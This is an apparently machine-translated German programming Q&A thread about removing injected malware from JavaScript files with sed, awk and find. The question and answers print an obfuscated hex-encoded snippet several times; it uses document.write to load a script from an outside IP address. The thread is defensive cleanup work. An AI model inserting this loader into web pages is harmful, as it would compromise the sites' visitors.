ersetzt ein komplexes Muster mit sed

Ich möchte ein Muster mit dem Befehl sed ersetzen. Das zu entfernende Muster ist wie folgt mit einem Leerzeichen.ersetzt ein komplexes Muster mit sed

var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]]\(_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]]\(_0xaae8[0]))

Jetzt muss ich das obige Muster durch ein Leerzeichen ersetzen. Dieses Muster kann irgendwo in der Datei sein (d. H. Kann am Anfang der Datei/Ende der Datei oder zwischen einigen Zeichenfolgen sein)

irgendwelche Tipps für Regex über sed entfernen?

Danke.

Quelle

2017-02-01 Iamtheroot

wie ein XY Problem sieht. Was versuchst du zu erreichen? – Sobrique

Es ist eine Malware in Java-Skripte injiziert und ich möchte diese Malware aus jeder Datei entfernen. – Iamtheroot

[in quotemeta \ Q \ E suchen] (http://perldoc.perl.org/functions/quoteemeta.html) – AbhiNickz

$ cat r.awk 
#!/usr/bin/awk -f 

NR == FNR { # read a first file with a string to match 
    str = $0 
    rep = " " # replace by `rep' 
    RS = "$^" # regexp which never matches => the next record will be 
       # a string with a whole second file 
    nextfile 
} 

{ 
    file = $0; ans = "" 
    while (i = index(file, str)) { 
     pre = substr(file, 1    , i - 1) # parts before 
     post = substr(file, i + length(str))   # and after `str' 
     ans = ans pre rep # append to the output 
     file = post 
    } 
    ans = ans file 
    printf "%s", ans 
}

Shop eine Zeichenkette in einer Datei

$ cat r.txt 
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]]\(_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]]\(_0xaae8[0]))

Ein Beispiel

$ cat f.txt 
BEFORE 
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]]\(_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]]\(_0xaae8[0])) 
AFTER 
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]]\(_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]]\(_0xaae8[0])) 
END

Verbrauch:

$ awk -f r.awk r.txt f.txt 

BEFORE 

AFTER 

END

Quelle

2017-02-01 23:46:45 slitvinov

Danke. Das sieht vielversprechend aus. Wie aktualisieren wir die Änderungen über awk in die Datei? wie Sed-i? – Iamtheroot

Ich benutze gawk-4.0.2-4.el7.x86_64 so sieht nicht aus wie an Ort und Stelle ist keine Option. – Iamtheroot

Danke slitvinov. Es funktioniert perfekt. – Iamtheroot

Ein anderer Weg zu erreichen, was Sie suchen „das Entfernen von Muster nur "mit find und sed Befehle in einer Zeile:

$ find /path/to/files/ -type f \(-name "*.js" -o -name "*.json" \) -exec sh -c 'sed -i "s/var\s_0xaae8.*_0xaae8\[0\]))//" "$0"' {} \;

Der obige Befehl unter bestimmtem Pfad suchen und das Muster entfernen, wenn aus einem beliebigen Datei mit diesen Erweiterungen js oder json gefunden.

für JS nur:

$ find /path/to/files/ -type f -name "*.js" -exec sed -i "s/var\s_0xaae8.*_0xaae8\[0\]))//" '{}' \;

Fühlen Sie sich frei, die -name "*.x" Teil zu entfernen, wenn Sie mit einer Erweiterung für jede Datei suchen möchten

Quelle

2017-02-15 00:58:38

ersetzt ein komplexes Muster mit sed

Antwort

Verwandte Themen